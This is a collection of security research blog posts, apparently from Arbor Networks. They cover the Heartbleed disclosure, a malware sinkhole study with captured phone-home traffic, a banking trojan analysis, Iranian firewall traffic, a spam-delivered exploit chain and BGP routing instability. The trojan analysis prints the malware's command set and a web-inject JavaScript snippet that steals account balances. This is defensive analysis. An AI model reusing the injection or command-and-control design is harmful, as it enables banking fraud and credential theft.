The Heartburn Over Heartbleed: OpenSSL Memory Leak Burns Slowly

By: Arbor Networks -

Marc Eisenbarth, Alison Goodrich, Roland Dobbins, Curt Wilson

A very serious vulnerability present in OpenSSL 1.0.1 for two years has been disclosed (CVE-2014-0160). This “Heartbleed” vulnerability allows an attacker to reveal up to 64kb of memory to a connected client or server. This buffer-over-read vulnerability can be used in rapid succession to exfiltration larger sections of memory, potentially exposing private keys, usernames and passwords, cookies, session tokens, email, or any other data that resides in the affected memory region. This flaw does not affect versions of OpenSSL prior to 1.0.1.  This is an extremely serious situation, which highlights the manual nature of the tasks required to secure critical Internet services such as basic encryption and privacy protection.

As the vulnerability has been present for over two years, many modern operating systems and applications have deployed vulnerable versions of OpenSSL. OpenSSL is the default cryptographic library for Apache and nginx Web server applications, which together account for an estimated two-thirds of all Web servers. OpenSSL is also used in a variety of operating systems, including BSD variants such as FreeBSD, and Linux distributions such as Ubuntu, CENTOS, Fedora and more. Other networking gear such as load-balancers, reverse proxies, VPN concentrators, and various types of embedded devices are also potentially vulnerable if they rely on OpenSSL, which many do. Additionally, since the vulnerability’s disclosure, several high-profile sites such as Yahoo Mail, Lastpass, and the main FBI site have reportedly leaked information. Others have discussed the impact on underground economy crime forums, which were reportedly vulnerable to the matter and were attacked.

A key lesson is that OpenSSL, which is a vital component of the confidentiality and integrity of uncounted systems, applications and sites across the Internet, is an underfunded, volunteer-run project, which is desperately in need of major sponsorship and attendant allocation of resources.

Anyone running OpenSSL on a server should upgrade to version 1.0.1g. For earlier versions, re-compiling with the OPENSSL_NO_HEARTBEATS flag enabled will mitigate this vulnerability. For OpenSSL 1.0.2, the vulnerability will be fixed in 1.0.2-beta2. In terms of remediation, there’s a huge amount of work that must be done, not only for servers, but also for load-balancers, reverse proxies, VPN concentrators, various types of embedded devices, etc.  Applications which were statically compiled against vulnerable versions of the underlying OpenSSL libraries must be re-complied; private keys must be invalidated, re-generated, and re-issued; certificates must be invalidated, re-generated, and re-issued – and there are a whole host of problems and operational challenges associated with these vital procedures. Some systems may be difficult to patch, so network access control restrictions or the deployment of non-vulnerable proxies may be considered where possible to reduce the attack surface.

In most cases, exploitation of this vulnerability leaves no sign in server logs, making it difficult for organizations to know if they have been compromised. In addition, even after applying the OpenSSL patch, private keys, passwords, authentication credentials or any other data that was stored in heap memory used by OpenSSL may have already been compromised by attackers, potentially going as far back as two years. Of significant concern is the compromise of private key material, and one security organization reported that they were able to obtain this material during testing. Others reported difficulty in obtaining certificate material but were able to discover significant amounts of other sensitive data. Considering how easy it is for attackers to hammer this vulnerability over and over again in a very quick sequence, the amount of memory being disclosed can be quite substantial. Memory contents will vary depending on program state and controlling what is returned and what position in memory the contents are read from is much like a game of roulette.

Risk to Private Key Material
Security researchers in a Twitter exchange starting on April 8 2014 indicate that private keys have been extracted in testing scenarios, and other researchers suggest that attacking the servers during or just after log rotation and restart scripts run could expose private key material. This allegation has not been tested by ASERT.

For further details, please see the Twitter thread at


Incident Response and Attack Tools
While there has been some call to avoid over-reaction, organizations should strongly consider revoking and reissue certificates and private keys; otherwise, attackers can continue to use private keys they may have obtained to impersonate Websites and/or launch man-in-the-middle attacks. Users should change usernames and passwords as well, but should not enter login credentials on Websites with vulnerable OpenSSL deployments. To do so could invite attackers to compromise both the old and new credentials if they were exposed in memory.

Many tools have been made available to test for the vulnerability and these same tools are available for attackers to use as well. It is also reasonable to consider that the password reuse problem will again cause additional suffering, because the same passwords shared across multiple systems create an extension of attack surface. A shared password that provides access to a sensitive system, or to an e-mail account used for password resets, can be all that an attacker needs to infiltrate an organizations defenses along multiple fronts.

Multiple proof-of-concept exploits have already been published, and a Metasploit module has been published. Attackers of all shapes and sizes have already started using these tools or are developing their own to target vulnerable OpenSSL servers. There have been reports that scanning for vulnerable OpenSSL servers began before the disclosure of the bug was made public, although other reports suggest that these scans may not have been specifically targeting the Heartbleed vulnerability.

ATLAS Indicates Scanning Activity
ASERT has observed an increase in scanning activity on tcp/443 from our darknet monitoring infrastructure, over the past several days, most notably from Chinese IP addresses (Figure 1, below). Two IP addresses ( and observed scanning tcp/443 have been blacklisted by Spamhaus for exploit activity. Scans from Chinese sources are predominately coming from AS4143 (CHINANET-BACKBONE) and AS23724 (CHINANET-IDC-BJ-AP).

Figure 1:       TCP/443 scans, Tuesday – Wednesday (April 8-9)



Attacks observed by ASERT decreased by Thursday as of this report writing. China still accounted for the largest percentage of detected scan activity:

Figure 2:       TCP/443 scans, Thursday (April 10)



Pravail Security Analytics Detection Capabilities

Arbors Pravail Security Analytics system provides detection for this vulnerability using the following rules:

2018375 ­ ET CURRENT_EVENTS TLS HeartBeat Request (Server Intiated)

2018376 ­ ET CURRENT_EVENTS TLS HeartBeat Request (Client Intiated)

2018377 ­ ET CURRENT_EVENTS Possible OpenSSL HeartBleed Large HeartBeat
Response (Client Init Vuln Server)

2018378 ­ ET CURRENT_EVENTS Possible OpenSSL HeartBleed Large HeartBeat
Response (Server Init Vuln Client)

Examples of detection capabilities are reproduced below.


Heartbleed detection tool screenshot

Heartbleed detection tool screenshot


Analysis of Historical Packet Captures Using New Indicators
In the event of this, and other security threats that are highly emergent, organizations may wish to consider implementing analysis capabilities on archived packet captures in order to detect first signs of attack activity. Granular analysis using fresh indicators can help pinpoint where and when a targeted attack (or a commodity malware attack, for that matter) may have first entered the network, or when such attackers may have exfiltrated data using a technique that was not yet being detected on the wire during the time of the initial attack and infiltration. The capabilities of Pravail Security Analytics will give organizations the means to accomplish such an analysis. A free account is available at and rest assured that this site is using the latest non-vulnerable OpenSSl version.

Longer-Term Implications and Lessons Learned
Serious questions have been raised regarding the notification process surrounding this vulnerability.  The operational community at large have voiced serious disapproval surrounding the early notification of a single content delivery network (CDN) provider, while operating system vendors and distribution providers, not to mention the governmental and financial sectors, were left in the dark and discovered this issue only after it was publicly disclosed via a marketing-related weblog post by the CDN vendor in question.  It has been suggested that the responsible disclosure best practices developed and broadly adopted by the industry over the last decade were in fact bypassed in this case, and concerns have been voiced regarding the propriety and integrity of the disclosure process in this instance.

Recent indications that a significant number of client applications may be utilizing vulnerable versions of OpenSSL as well has broad implications, given the propensity of non-specialist users to ignore software updates and to continue unheedingly running older versions of code.

Furthermore, only ~6% of TLS-enabled Websites (and an undetermined, but most probably even-smaller percentage of other types of systems) make use of Perfect Forward Secrecy (PFS). This configurable option ensures that if an issue of this nature arises, previously encrypted traffic retained in packet captures isn’t susceptible to retrospective cryptanalysis.

Without PFS, there are no automated safeguards that can ameliorate these issues, once a vulnerability of this nature has been exposed.  Many operators and users may not realize that if attackers captured packets of encrypted traffic in the past from vulnerable services/applications which weren’t configured with PFS – i.e., the overwhelming majority of such systems – and have retained those captured packets, they’ve the opportunity now to use analysis tools to replay those packets and decrypt the Internet traffic contained in those packets. This means that attackers can potentially unearth their credentials, intellectual property, personal financial information, etc. with access to previously captured packet-dumps.

The ability for an attacker to decrypt packet capture archives requires that the attacker has obtained the private keys used to encrypt that traffic. As recent research shows, this is not a theoretical vulnerability – private key material has been compromised in a lab environment and therefore we must assume that attackers have at least the same, if not more substantial capabilities.

The ‘Heartbleed’ vulnerability may well result in an underground market in ‘vintage’ packet captures – i.e., packet captures performed after the date this vulnerability was introduced into OpenSSL, and prior to some date in the future after which it is presumed that the most ‘interesting’ servers, services, applications, and devices have been remediated.

This incident has the potential to evolve into a massive 21st-Century, criminalized, Internet-wide version of the Venona Project, targeting the entire population of Internet users who had the ill fortune to unknowingly make use of encrypted applications or services running vulnerable versions of OpenSSL. This highlights the paradox of generalized cryptographic systems in use over the Internet today.

While the level of complexity required to correctly design and implement cryptosystems means that in most situations, developers should utilize well-known cryptographic utilities and libraries such as OpenSSL, the dangers of a cryptographic near-monoculture have been graphically demonstrated by the still-evolving Heartbleed saga.  Further complicating the situation is the uncomfortable fact that enterprises, governments, and individuals have been reaping the benefits of the work of the volunteer OpenSSL development team without contributing the minimal amounts time, effort, and resources to ensure that this vital pillar of integrity and confidentiality receives the necessary investment required to guarantee its continued refinement and validation.

This is an untenable situation, and it is clear that the current development model for OpenSSL is unsustainable in the modern era of widespread eavesdropping and rapid exploitation of vulnerabilities by malefactors of all stripes. Information on how to support the OpenSSl effort can be found here:

Heartbleed and Availability
While Heartbleed is a direct threat to confidentiality, there are also potential implications for availability.

In some cases, attackers seeking exploitable hosts may scan and/or try to exploit this vulnerability so aggressively that they inadvertently DoS the very hosts they’re seeking to compromise. Organizations should be cognizant of this threat and ensure that the appropriate availability protections are in place so that their systems can be defended against both deliberate and inadvertent DDoS attacks.

It should also be noted that initial experimentation seems to indicate that it’s easiest for attackers to extract the private keys from vulnerable OpenSSL-enabled applications and services, using the least amount of exploit traffic, immediately after they have been started.  Accordingly, organizations should be prepared to defend against DDoS attacks intended to cause state exhaustion and service unavailability for SSL-enabled servers, load-balancers, reverse proxies, VPN concentrators, etc.  The purpose of such DDoS attacks would be to force targeted organizations to re-start these services in order to recover from the DDoS attacks, thus providing the attackers with a greater chance of capturing leaked private keys.

References Note: This event may have been a false positive caused by ErrataSec’s masscan software (

Venona Project:>

Scavenging Connections On Dynamic-IP Networks Redux

By: Dennis Schwarz -

While a lot has changed since Seth McGann’s 1998 Phrack magazine article “Scavenging Connections On Dynamic-IP Networks,” it’s not hard to extrapolate his idea into modern day malware sinkholes. In this blog post we would like to share some of the connections scavenged over a short period from the No-IP dynamic DNS network–a network we run into time and time again in our malware analysis.

Malware campaigns have not been shy about using these and other dynamic DNS hostnames for their command & control (C&C) servers. With the price (free), dynamic nature, and anonymity (throw-away email addresses and proxies) it’s not hard to see the appeal. Using available APIs, malware authors are building in support directly into their bot builder kits as well.


 No-IP support built-in to the Xtreme Remote Access Trojan (RAT)

Querying our malware zoo for the main free tier domain ( returns almost 6500 unique subdomains. As of this writing, about 4200 (64%) of these no longer resolve and are expired. As a proof of concept, we re-registered 100 of these sub-domains (see Appendix A) and in 4 groups of 25 sinkholed them for 3-4 days at a time. We used a simple sinkhole that redirected all TCP ports minus SSH (22) to a Python daemon that limited the connection time to 5 seconds and logged the first 2048 received bytes.

Disregarding general Internet background noise (hi, proxy scanners, and SQL Slammer), we received connections from around 6650 unique IPs distributed across the globe.


Map of source IPs connecting to a two-week sinkhole of 100 domains

Considering the low number of domains that were registered, many surprises and concerns cropped up. The sheer number of unique sources, geographical distribution, amount of traffic generated by abandoned bots (close to 7 GB of PCAP data), and the variety of malware families was interesting and insightful. There was good representation of both ASCII and binary blob communications, but the latter was more prevalent. The number of HTTP based phone homes was also lower than expected. Further analysis reveals the following interesting elements.

Xtreme RAT

There were two types of phone homes. The first includes a version string and we saw 2.9, 3.1, 3.2, and 3.5 Private (as of this writing, 3.6 is the latest publicly available). The second type of phone home message includes the password used in the campaign and we saw 123123, 87080060, and 1234567890 (default).

Type 1 (130 unique IPs)


Type 2 (57 unique IPs)

GET /1234567890.functions HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; 
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center 
PC 6.0; InfoPath.2; .NET4.0C)
Connection: Keep-Alive
Cache-Control: no-cache


Two types of phone homes were seen.

Type 1 (54 unique IPs)


Type 2 (215 unique IPs)


Various IRC Bots (325 unique IPs)

As expected, IRC based bots were well represented. Some sample nicknames:

  • [iRooT-XP-CRI]702619
  • ESP|00|XP|SP3|8254484
  • {00-ITA-2K-ASP–6618}
  • ScAry0518258
  • pwned[00000]

Turkojan (75 unique IPs)


CIA Trojan (3 unique IPs)

details;6333;Administrator;HOME;name;CIA 1.3;No;name

GhostHeart2 (2 unique IPs)

Starting at offset 13, zlib chunk.

00000000  47 68 30 73 74 61 00 00  00 b0 02 00 00 78 9c 4b Gh0sta.. .....x.K
00000010  63 60 60 98 03 c4 ac 40  cc 04 c4 e7 f8 20 f4 40 c``....@ ..... .@
00000020  02 0b 28 2d c4 c8 cc f0  81 0b e2 9e 03 2b 18 78 ..(-.... .....+.x
00000030  f2 72 72 93 49 35 ab 9c  91 81 e1 1e 2f 03 c3 17 .rr.I5.. ..../...
00000040  20 6d 64 60 68 84 2e 6f  7c e6 0d a5 ce 1d 05 54  md`h..o |......T
00000050  04 47 d6 9c 38 bf fd da  f5 97 b8 e4 01 82 d8 11 .G..8... ........
00000060  ac

MyRat (16 unique IPs)

Starting at offset 13, looks like a zlib chunk.

00000000  4d 79 52 61 74 b8 00 00  00 24 01 00 00 78 9c 4b MyRat... .$...x.K
00000010  8b 33 61 9a c3 c0 c0 c0  0a c4 8c 40 ac c1 c5 c0 .3a..... ...@....
00000020  c0 04 a4 83 53 8b ca 32  93 53 15 02 12 93 b3 15 ....S..2 .S......
00000030  8c 19 18 ae c4 98 30 fd  60 40 00 90 da 1b 46 4f ......0. `@....FO
00000040  18 5a 7d 67 17 86 c4 9a  80 b4 30 74 4a cd 2f 04 .Z}g.... ..0tJ./.
00000050  a9 b1 b0 16 66 c8 60 80  e8 61 66 80 98 07 52 cf ....f.`. .af...R.
00000060  06 c4 02 50 8c 02 14 a0  18 aa ee 25 50 13 33 98 ...P.... ...%P.3.
00000070  c3 c8 70 60 05 a3 e9 32  a0 e0 22 a8 bb 18 8a 0b ..p`...2 ..".....
00000080  52 53 53 d0 0d c0 0e fe  b3 33 30 5c 04 ea cd ae RSS..... .30....
00000090  48 2d 4e ce 2f 4a 65 00  ba 6b 81 2a 44 6e 31 d0 H-N./Je. .k.*Dn1.
000000A0  df 30 3b 97 dd de 70 6a  49 f8 de d2 a5 2e fb be .0;...pj I.......
000000B0  63 33 07 00 3f 40 28 73                          c3..?@(s

YoyoDDoS (471 unique IPs)

0xb8 variant.

00000000  79 6d 74 d8 68 90 95 8e  8f 8d d0 84 8d d1 d8 c1 ymt.h... ........
00000010  c6 c5 c8 d8 69 85 99 94  cd 7b 8f 8a 95 d8 68 8a ....i... .{....h.
00000020  8f 9b 95 8b 8b 8f 8a b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000030  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000040  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000050  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000060  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000070  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000080  cb cb ca c7 6d 7a b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........
00000090  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
000000A0  67 91 8e d8 60 68 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 g...`h.. ........
000000B0  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
000000C0  e8 59 3c 56 3c 56 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 .Y<V
000000D0  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
000000E0  e1 b7 b8 b8                                      ....

Trojan.DDoser (5 unique IPs)

Base64 encoded.


Spy-Net RAT (19 unique IPs)

Base64 encoded.


Unknown #1 (2 unique IPs)

104|OnConnect|United States|me|name - me||Not Detected|4.0.4 Update 2
|United States|OnConnect|

Unknown #2 (2 unique IPs)
Two version numbers were seen: 4.0 and 6.0.

LOGIN|Slovakia#SK|name and something like a password hash|#!#|pixel|name|name-
PC|Windows 7|Connection Established|Intel(R) Pentium(R) M processor 1600MHz 1598MHz
|0,5|Not Available|Not Available||140|4.0|123456

Unknown #3 (16 unique IPs)

Two version numbers were seen: 0.7 and 1.2.


This analysis of a small sample of No-IP domains and their associated malware gives us a tiny peek into some, possibly forgotten, attack campaigns and how active they can be. While No-IP and other dynamic DNS hostnames shouldn’t automatically be assumed to be bad, we feel they warrant further scrutiny and attention if seen on your networks.

It should come as no surprise  that there is a lot of malware out there, in all sorts of shapes and sizes. Sinkholing is just another tool in the malware researcher’s toolbox for the endless task of classifying, analyzing, and mitigating the shadier half of the Internet. In the meantime, the ASERT team work continues on the sinkholing project. Goals include expanding the scope, automating collection and classification as much as possible, and, of course, integrating the data into the ATLAS portal.


 Appendix 1: Domains 

Between Nov


Between Nov 9 – 12



Between Nov 13 –


Between Nov 16 – 19:




Trojan.Prinimalka: Bits and Pieces

By: Dennis Schwarz -

Trojan.Prinimalka is a banking trojan associated with an attack campaign that received quite a bit of press in October 2012. “Project Blitzkrieg” is “a new cybecriminal [sic] project aimed at recruiting 100 botmasters to help launch a series of lucrative online heists targeting 30 U.S. banks. The Trojan installs a proxy on the victim host and then sends system/web browser details back to the C&C. The botmasters can use this setup to “spoof” banking requests as the unsuspecting banking user.

Trojan.Prinimalka is based on Gozi and shares quite a few similarities. There are at least 2 variants in the wild: “nah” and “gov”. This analysis focuses on the “gov” version. Static analysis was performed on a memory dump of a sample (MD5: 2bdb44e5e3bbcebf3f0ceb156a407794). It was supplemented with some dynamic analysis using C&Cs located at (as of writing, still live) and

Registry Persistence
A value named “govShell” is created under the “HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun” key. It stores “%UserProfile%govXXXX.exe”–the “X”s are random lowercase letters. This is a standard registry persistence technique where the program will run on user login.

A mutex named “sdfsdfsdfsdfsfsdfsdfsdfsdfsdf” is created.

Dropped Files

  • %UserProfile%govXXXX.exe–the “X”s are random lowercase letters
  • %UserProfile%govtemp1.exe
  • %UserProfile%govold.exe
  • %UserProfile%govcookies.txt
  • %CD%govcookies.dat

Registry Configuration
Under the “HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersion” key, various configuration values with a “gov” prefix are maintained.

Registry Value Description Sample
govid Randomly generated 10 digit identifier 33520xxxxx
govoptions Obfuscated configuration file NEWOPTS<obfuscated data>
govopt_server1 Primary C&C address
govopt_reserv Secondary C&C address
govopt_forms Relative C&C URL to POST System/Web Browser cloning info to /system/
govopt_options Relative C&C URL to GET configuration data /system/
govopt_command Relative C&C URL to GET command data /system/
govopt_file Relative C&C URL for unknown data /system/ (looks unused in this sample)
govopt_ss Relative C&C URL for unknown data /cgi-bin/ (looks unused in this sample)
govopt_pstorage Relative C&C URL for unknown data /cgi-bin/ (looks unused in this sample)
govopt_certs Relative C&C URL for unknown data /cgi-bin/ (looks unused in this sample)
govopt_idproject Version 081003
govopt_pauseopt Poll time 3200
govcontrol_crc CRC 34661b26
govbalance Controls reverse connection to C&C Ok

“cmd.exe” is bound to “” on a random port. The bindshell is used in conjunction with the Type 2 “TELN” command.

A basic proxy is bound to “” on a random port—bindshell’s random port minus 1.  The proxy is used in conjunction with the Type 2 “SCKS” command. RSA indicates that the C&C backend has the ability to make web requests to banking websites via the infected host.

C&C Command Channel, Type 1
A Type 1 command request looks like this.

GET /system/ HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host:

The returned command grammar has the following format.


command1 <parameter>rn

command2 <parameter>rn

commandN <parameter>rn




HTTP/1.1 200 OK

Date: Wed, 17 Oct 2012 13:00:02 GMT

Server: Apache/2.2.22 (Fedora)

Content-Length: 39

Connection: close

Content-Type: text/plain; charset=UTF-8




changepause 900

Here are the identified commands.

Command Description
deleteself Delete binary and registry persistence
download Download to and execute “%UserProfile%govtemp1.exe”
update Copy current version to “%UserProfile%govold.exe” and download new version
killwin Overwrite first 4 bytes of “.PHYSICALDRIVE0” then shutdown
changeversion Update “govopt_idproject“ registry value
changehost Update “govopt_server1” registry value; primary C&C
changereserv Update “govopt_reserv” registry value; secondary C&C
changepause Update “govopt_pauseopt” registry value
enable_backconnect Set “govbalance” registry value to “ok”. Enables reverse connection to C&C for Type 2 command channel
send_cookies Dump browser cookies via “ExportCookieFile()” into “%UserProfile%govcookies.txt” then POST to C&C
recv_cookies Download browser cookies from C&C into “%CD%govcookies.dat” then imports them via “ImportCookieFile()”
enable_rdp Doesn’t look to be implemented in this sample.

C&C Command Channel, Type 2

The Type 2 command channel is a reverse connection from the victim host back to the C&C. It is enabled by the Type 1 “enable_backconnect” command. There isn’t much of a format, the victim host reads 4 bytes from the socket and checks them against the following identified commands.

Command Description
ping Respond to C&C with “pong”
NEED Ask C&C for any Type 1 commands
RDP0 Doesn’t look to be implemented in this sample.
SCKS Connects to the proxy running on localhost and relays traffic (to bypass NAT/firewall)
TELN Connects to the bindshell running on localhost and relays traffic (to bypass NAT/firewall)

There is an 81 byte obfuscated configuration file stored in the binary. It is copied to the “govoptions” registry value. Using corkami’s aplib compression library, the obfuscation can be cleaned up.

>>> import aplib>>> govoptions =’NEWOPTSx001x01rep_sizxdbx87xacx04wxf8bxa4x0c@0pzoWtr{xf9x0bv}b>crx1cptx1c x1b3yx83wx0ex02.go<xdfl;xbbcxb8m*Gx0bxe0Hxc5x0eyux1btx02x00x00′>>> s, len = aplib.decompress(govoptions[8:]).do()

>>> s.split(“x00″)

[‘1rep_size’, ‘1’, ‘1web_size’, ‘0’, ‘1post_size’, ‘0’, ‘1ss_size’, ‘0’, ‘1vbscript’, ‘ ‘, ‘3rep’, ‘’, ‘Google’, ‘Hooyugle’, ”, ”, ”]

Here are the identified configuration verbs.

Verb Description
1rep_size Number of 3rep sections
1web_size Number of 4webvalue sections
1post_size Number of 3postvalue sections
1ss_size Number of 2ss sections
1vbscript Currently unknown
3rep Define a find and replace rule
4webvalue Looks to be unused in this sample
3postvalue Looks to be unused in this sample
2ss Looks to be unused in this sample

An updated, obfuscated configuration file can be requested from the C&C like this.

GET /system/ HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host:

The “3rep” sections of the configuration file define “find and replace” rules. These are used with the web browser function-hooking feature to secretly add code to banking websites. At the time of writing, 34 bank URLs are being targeted:


A sample find and replace rule looks like this.

>>> config[10]’3rep’>>> config[11] # URL’’

>>> config[12] # Find


>>> for line in config[13].split(“rn”): # Replace

…     print line


<div style=”visibility: hidden”>

<iframe name=”myframe” id=”myframe”></iframe>

<form name=xbalance method=’POST’ action=’/robots.txt’ target=myframe><input name=balance><input name=from><input name=lastlogin value=”0″></form>

</div><script language=”JavaScript”>

var data = document.body.innerHTML;

var reg = /Portfolio Total:[dD]{1,128}($[d,.]+)/gmi;

var arr = reg.exec(data);

if (arr) {

var postdata = arr[1];

var f = document.xbalance;

f.from.value = “fidelity”;

f.balance.value = postdata;




As can be seen, code is added to the end of the page to POST balance, bank name, and last login information to “/robots.txt”. The “/robots.txt” is used as a tag, see below.

Process Injection and Function Hooking

The Trojan injects part of itself into all running processes except for those with an image name starting with:

  • svchost.exe
  • [System Process]
  • System
  • smss.exe
  • winlogon.exe
  • lsass.exe
  • avp
  • csrss.exe
  • services.exe

The injected function is responsible for hooking the following functions.

kernel32.dll advapi32.dll wininet.dll nspr4.dll
CreateProcessA RegEnumValueA InternetCloseHandle PR_Write
CreateProcessW RegEnumValueW InternetQueryDataAvailable PR_Read
FindFirstFileA InternetReadFile PR_Close
FindFirstFileW InternetReadFileExA
FindNextFileA HttpSendRequestA
FindNextFileW HttpSendRequestW

The CreateProcess hooks make sure any new processes are injected.

The FindXFile hooks hide any files that start with “gov”.

The RegEnumValue hooks hide any registry values that start with “gov”.

The InternetReadFile and PR_Read hooks are used to rewrite pieces of returned banking websites based on the “3rep” rules in the configuration file.

The HttpSendRequest and PR_Write functions look for the “/robots.txt” tag introduced by the “3rep” rewrite rules.  They then POST the HTTP request and cookie file to the C&C.

System/Web Browser Cloning

RSA indicates that the C&C backend has the ability to clone a victim’s web browser while sending requests through the victim host’s proxy. The following shows the type of data the trojan gathers for this feature.

POST /system/ HTTP/1.1Content-Type: multipart/form-data; boundary=————————–15c5175b07b5User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host:

Content-Length: 705

Connection: Keep-Alive

Cache-Control: no-cache


Content-Disposition: form-data; name=”upload_file”; filename=”33520xxxxx.022201″

Content-Type: application/octet-stream

URL: http://service.stat/

priv=USER_PRIV_ADMIN&winver=Microsoft Windows XP Professional Service Pack 3 (Build 2600) 2600.xpsp.080413-2111&resolution=1024×768&UniqueID={0X8X9XFX-FXDX-4X1X-8X6X-7X0X1XDX2XDX}&NTProductId=7X4X7-OEM-2X5X6X2-X4X6X&ProductId=7X4X7-OEM-0X5X1X3-X8X4X&IEProductId=7X4X7-OEM-0X5X1X3-X8X4X&TimeZone=Pacific Standard Time&UserAgent=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)


A Deeper Look at The Iranian Firewall

By: Craig Labovitz -

In the previous blog post about the Iranian firewall, we explored macro level Iranian traffic engineering changes (showing that Iran cut all communication after the election and then slowly added back Internet connectivity over the course of several days). Like many other news reports and bloggers, we also speculated on Iran’s intent — how was the government manipulating Internet traffic and why?

Thanks to the cooperation of several ISPs in the region and Internet Observatory data, we can now do a bit better than speculate — we have pieced together a rough picture of what the Iranian government’s Internet firewall appears to be doing. The data shows that DCI, the Iranian state run telecommunications agency, has selectively blocked or rate-limited targeted Internet applications (either by payload inspection or ports).

I’ll step through several of these applications.

On average, Internet traffic is dominated by web pages (roughly 40-50% of all Internet traffic). And the vast majority of this web traffic (unless you happen to be Google or Facebook) goes into ISPs and the millions of associated end users (as opposed to traffic going out of a country or ISP). Iran is no exception.

The below graph shows web traffic (TCP port 80) into Iran over the days before and immediately after the election. Though the graph clearly shows a brief post-election outage followed by a decrease in web traffic, the Iranian web traffic was comparatively unaffected by Iran filter changes. Based on reports of Iran’s pre-existing Internet filtering capabilities, I’d speculate DCI did not require significant additional web filtering infrastructure.

In contrast, the next graph shows streaming video traffic (Adobe Flash) going into and out of Iran. Note the significant increase of video traffic immediately preceding the election (presumably reflecting high levels of Iranian interest in outside news sources). All video traffic immediately stops on the Saturday following the election (June 13th at 6:00pm Tehran / IRDT) and unlike the web, never returns to pre-election levels.

The next graph on Iranian applications filters shows email into and out of the country. Again note the run up in email traffic immediately preceding the election (especially outbound mails). And then? The data suggests DCI began blocking some outgoing email even before the election completed. Following the election, email returned at reduced levels (again, presumably because DCI had filtering infrastructure in place).

Finally, a look at the top applications now blocked by the DCI firewall(s). The chart shows average percentage decrease in application traffic in the days before and after the election. As discussed earlier, the Iranian firewalls appear to be selectively impacting application traffic. I’ll note that ssh (a secure communication protocol) tops the list followed by video streaming and file sharing.

While the rapidly evolving Iranian firewall has blocked web, video and most forms of interactive communication, not all Internet applications appear impacted. Interestingly, game protocols like xbox and World of Warcraft show little evidence of government manipulation.

Perhaps games provide a possible source of covert channels (e.g. “Bring your elves to the castle on the island of Azeroth and we’ll plan the next Ahmadinejad protest rally?”)



Pushing the Envelope with Analyzers and Emulators

By: Jose -

Via our spam traps, we see a malicious URL being spammed out that was highlighted as suspicious by the MITRE honeyclient and then further analyzed by Wepawet. three exploits leadig to an EXE, a PDF, and a SWF file. This one is interesting because it’s one of a handful that are pushing the boundaries of what our current honeyclient and emulated client-side tools can handle reliably. The URL chain is described below:

  • hxxp://
    This is the URL being spammed out. Wepawet correctly calls it suspicious, but not malicious. Like a lot of web exploit toolkits it does some reasonable browser qualification (e.g. wget wouldn’t work). 

    wepawet example.png

    Wepawet was unable to describe the IE7 object reference bug in it by the way.

    • hxxp://

      MD5: 8f044c64a656326da65ab790379a064f
      SHA1: f09cbd1b622243d53f1fc106bfa3d07e328cfdc8
      File type: MS Windows PE
      File size: 20435 bytes

      Looking at this file we can see that VirusTotal has 0% detection .. maybe this is a benign file. The Anubis report is inconclusive. This binary has some modest anti-auto-analysis techniques in it and requires a human to look at it to qualify it.
    • hxxp://
      Definitely an exploit document, looks like it’s using a newer exploit maybe. Via VirusTotal we can see that a bunch of AV tools flag it.
    • hxxp://
      The Webpawet report shows how the file basically thwarts detection by common toolkits. More manual analysis is required if you want to see how this is malicious.

Looking at blacklisting of the IP and hostname, we can see that Google doesn’t flag the IP. Maybe they will now. As far as other DNS BLs go we can see that it’s getting a green light from the ones I checked:

-- Fri Apr 10 16:55:27 2009 GMT
==> Checking OK OK OK OK
==> Checking ( OK OK OK Direct UBE sources, verified spam services and ROKSO spammers OK OK OK OK

We know that attackers will continue to evolve their techniques to evade automated analysis tools (which are simply a requirement in today’s flood of malicious code, even for triage purposes). So, we’ll have to continue to push our analysis tools to handle these changes.

More AS4_PATH Triggered Global Routing Instability

By: Danny McPherson -

For those of you not paying attention, a slew of new instabilities in the global routing system are occurring – again.  These are presumably being tickled by another ugly AS4_PATH tunnel bug where someone [read: broken implementation] erroneously includes AS_CONFED_* segments in an AS4_PATH attribute – a transitive optional BGP attribute that’s essentially ‘tunneled’ between non-4-octet-AS-number speaking autonomous systems.

BGP Routing Instability - Update Frequencies

BGP Routing Instability - Update Frequencies - GMT -5

The problem is that when it’s unencapsulated at the receiving end, by a BGP router that could be several networks away, those AS_CONFED_* attributes aren’t supposed to be there, and can result in either a reset of the local session with the adjacent external BGP speaker from which the update was received, or may be propagated to an internal BGP peer, which will likely drop the session with the transmitting speaker — neither of which stop the problem at the source.  The prefix that appears to be causing all the fuss appears to be, a copy of the suspect update [courtesy of ras] available here.  Ras’s email provides some insight into what he’s seeing at the moment, it’s available in the juniper-nsp archive, linked below, and currently unavailable.

